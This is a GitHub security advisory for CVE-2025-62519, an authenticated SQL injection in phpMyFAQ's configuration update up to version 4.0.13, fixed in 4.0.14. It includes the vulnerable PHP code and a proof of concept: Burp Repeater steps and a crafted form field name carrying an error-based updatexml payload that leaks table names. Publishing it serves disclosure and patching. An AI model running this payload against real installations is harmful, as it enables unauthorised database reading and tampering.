ghsa-fxm2-cmwj-qvx4
Vulnerability from github
Summary
An authenticated SQL injection vulnerability in the main configuration update functionality of phpMyFAQ (v4.0.13 and prior) allows a privileged user with 'Configuration Edit' permissions to execute arbitrary SQL commands. Successful exploitation can lead to a full compromise of the database, including reading, modifying, or deleting all data, as well as potential remote code execution depending on the database configuration.
Details
The vulnerability exists in the save method within the src/phpMyFAQ/Controller/Administration/ConfigurationTabController.php controller. This method handles the saving of application-wide configuration settings. It retrieves all submitted form data as an associative array via $request->get('edit').
The core of the issue is that while the values of this array are processed, the keys are trusted implicitly and are not sanitized or validated.
File: src/phpMyFAQ/Controller/Administration/ConfigurationTabController.php
```php
// ...
public function save(Request $request): JsonResponse
{
$this->userHasPermission(PermissionType::CONFIGURATION_EDIT);
$configurationData = $request->get('edit');
// ...
foreach ($configurationData as $key => $value) {
// The key from the user input is used to build the $newConfigValues array.
$newConfigValues[$key] = (string) $value;
// ...
}
// ...
// The array, containing user-controlled keys, is passed to the model.
$this->configuration->update($newConfigValues);
return $this->json(['success' => Translation::get('ad_config_saved')], Response::HTTP_OK);
} ```
The $newConfigValues array, which contains user-controlled keys, is then passed to the update method in the src/phpMyFAQ/Configuration.php model. Here, the key ($name) is directly concatenated into a raw SQL query string.
File: src/phpMyFAQ/Configuration.php
```php
public function update(array $newConfigs): bool
{
// ...
foreach ($newConfigs as $name => $value) {
if ($name != 'main.phpMyFAQToken' && !in_array($name, $runtimeConfigs)) {
// VULNERABLE CODE: The array key '$name' is not escaped and is directly
// concatenated into the SQL query string. The value is escaped, but not the name.
$update = sprintf(
"UPDATE %s%s SET config_value = '%s' WHERE config_name = '%s'",
Database::getTablePrefix(),
$this->tableName,
$this->getDb()->escape(trim($value)),
$name
);
$this->getDb()->query($update);
// ...
}
}
return true;
}
``
An attacker can craft a malicious form parameter name (which becomes the array key) to break out of the single quotes in theWHERE` clause and inject arbitrary SQL commands.
PoC (Proof of Concept)
Prerequisites: 1. A running instance of phpMyFAQ (v4.0.13 confirmed vulnerable). 2. An authenticated user session with permissions to edit the configuration.
Execution: Due to the application's CSRF protection, the easiest way to reproduce this is by capturing a legitimate request to save the configuration and modifying it using a proxy tool like Burp Suite's Repeater.
- Log in as an administrator and navigate to Administration -> Configuration.
- Make a trivial change (e.g., toggle a setting) and click "Save configuration". Capture this
POSTrequest to/admin/api/configuration. - Send the captured request to Repeater. The request will contain a valid
Cookieheader and apmf-csrf-tokenparameter. - Modify the request body to inject a malicious key. Add a new
multipart/form-datapart with a craftednameattribute.
Example Malicious Request Body Part (Error-Based):
``` ------WebKitFormBoundaryRandomString Content-Disposition: form-data; name="edit[dummykey' and updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema = database() LIMIT 0, 1), 0x7e), 1) and '1]"
true
------WebKitFormBoundaryRandomString
``
*Note: You must also include thepmf-csrf-token` part from the original request in the body.*
Result:
The server will respond with a 500 Internal Server Error, and the body of the response will contain a database error message, confirming the SQL injection. The leaked data will be present within the error string.
An error occurred: XPATH syntax error: '~faq_faqadminlog~' at line 311 at /var/www/html/src/phpMyFAQ/Database/Mysqli.php
This error confirms the successful execution of the injected updatexml payload, which has extracted and revealed the name of the first table in the database (faq_faqadminlog). Time-based blind techniques can also be used to extract data without relying on error messages.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.0.13"
},
"package": {
"ecosystem": "Packagist",
"name": "thorsten/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.0.13"
},
"package": {
"ecosystem": "Packagist",
"name": "phpmyfaq/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-62519"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-17T17:37:37Z",
"nvd_published_at": "2025-11-17T17:15:50Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAn authenticated SQL injection vulnerability in the main configuration update functionality of phpMyFAQ (v4.0.13 and prior) allows a privileged user with \u0027Configuration Edit\u0027 permissions to execute arbitrary SQL commands. Successful exploitation can lead to a full compromise of the database, including reading, modifying, or deleting all data, as well as potential remote code execution depending on the database configuration.\n\n### Details\n\nThe vulnerability exists in the `save` method within the `src/phpMyFAQ/Controller/Administration/ConfigurationTabController.php` controller. This method handles the saving of application-wide configuration settings. It retrieves all submitted form data as an associative array via `$request-\u003eget(\u0027edit\u0027)`.\n\nThe core of the issue is that while the *values* of this array are processed, the *keys* are trusted implicitly and are not sanitized or validated.\n\n**File:** `src/phpMyFAQ/Controller/Administration/ConfigurationTabController.php`\n```php\n// ...\npublic function save(Request $request): JsonResponse\n{\n $this-\u003euserHasPermission(PermissionType::CONFIGURATION_EDIT);\n\n $configurationData = $request-\u003eget(\u0027edit\u0027);\n // ...\n \n foreach ($configurationData as $key =\u003e $value) {\n // The key from the user input is used to build the $newConfigValues array.\n $newConfigValues[$key] = (string) $value;\n // ...\n }\n\n // ...\n // The array, containing user-controlled keys, is passed to the model.\n $this-\u003econfiguration-\u003eupdate($newConfigValues);\n\n return $this-\u003ejson([\u0027success\u0027 =\u003e Translation::get(\u0027ad_config_saved\u0027)], Response::HTTP_OK);\n}\n```\n\nThe `$newConfigValues` array, which contains user-controlled keys, is then passed to the `update` method in the `src/phpMyFAQ/Configuration.php` model. Here, the key (`$name`) is directly concatenated into a raw SQL query string.\n\n**File:** `src/phpMyFAQ/Configuration.php`\n```php\npublic function update(array $newConfigs): bool\n{\n // ...\n foreach ($newConfigs as $name =\u003e $value) {\n if ($name != \u0027main.phpMyFAQToken\u0027 \u0026\u0026 !in_array($name, $runtimeConfigs)) {\n // VULNERABLE CODE: The array key \u0027$name\u0027 is not escaped and is directly\n // concatenated into the SQL query string. The value is escaped, but not the name.\n $update = sprintf(\n \"UPDATE %s%s SET config_value = \u0027%s\u0027 WHERE config_name = \u0027%s\u0027\",\n Database::getTablePrefix(),\n $this-\u003etableName,\n $this-\u003egetDb()-\u003eescape(trim($value)),\n $name\n );\n\n $this-\u003egetDb()-\u003equery($update);\n // ...\n }\n }\n\n return true;\n}\n```\nAn attacker can craft a malicious form parameter name (which becomes the array key) to break out of the single quotes in the `WHERE` clause and inject arbitrary SQL commands.\n\n### PoC (Proof of Concept)\n\n**Prerequisites:**\n1. A running instance of phpMyFAQ (v4.0.13 confirmed vulnerable).\n2. An authenticated user session with permissions to edit the configuration.\n\n**Execution:**\nDue to the application\u0027s CSRF protection, the easiest way to reproduce this is by capturing a legitimate request to save the configuration and modifying it using a proxy tool like Burp Suite\u0027s Repeater.\n\n1. Log in as an administrator and navigate to **Administration** -\u003e **Configuration**.\n2. Make a trivial change (e.g., toggle a setting) and click \"Save configuration\". Capture this `POST` request to `/admin/api/configuration`.\n3. Send the captured request to Repeater. The request will contain a valid `Cookie` header and a `pmf-csrf-token` parameter.\n4. Modify the request body to inject a malicious key. Add a new `multipart/form-data` part with a crafted `name` attribute.\n\n**Example Malicious Request Body Part (Error-Based):**\n\n```\n------WebKitFormBoundaryRandomString\nContent-Disposition: form-data; name=\"edit[dummykey\u0027 and updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema = database() LIMIT 0, 1), 0x7e), 1) and \u00271]\"\n\ntrue\n------WebKitFormBoundaryRandomString\n```\n*Note: You must also include the `pmf-csrf-token` part from the original request in the body.*\n\n**Result:**\nThe server will respond with a `500 Internal Server Error`, and the body of the response will contain a database error message, confirming the SQL injection. The leaked data will be present within the error string.\n\n```\nAn error occurred: XPATH syntax error: \u0027~faq_faqadminlog~\u0027 at line 311 at /var/www/html/src/phpMyFAQ/Database/Mysqli.php\n```\n\nThis error confirms the successful execution of the injected `updatexml` payload, which has extracted and revealed the name of the first table in the database (`faq_faqadminlog`). Time-based blind techniques can also be used to extract data without relying on error messages.",
"id": "GHSA-fxm2-cmwj-qvx4",
"modified": "2025-11-17T18:57:46Z",
"published": "2025-11-17T17:37:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-fxm2-cmwj-qvx4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62519"
},
{
"type": "PACKAGE",
"url": "https://github.com/thorsten/phpMyFAQ"
},
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/compare/4.0.13...4.0.14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "phpMyFAQ has Authenticated SQL Injection in Configuration Update Functionality"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.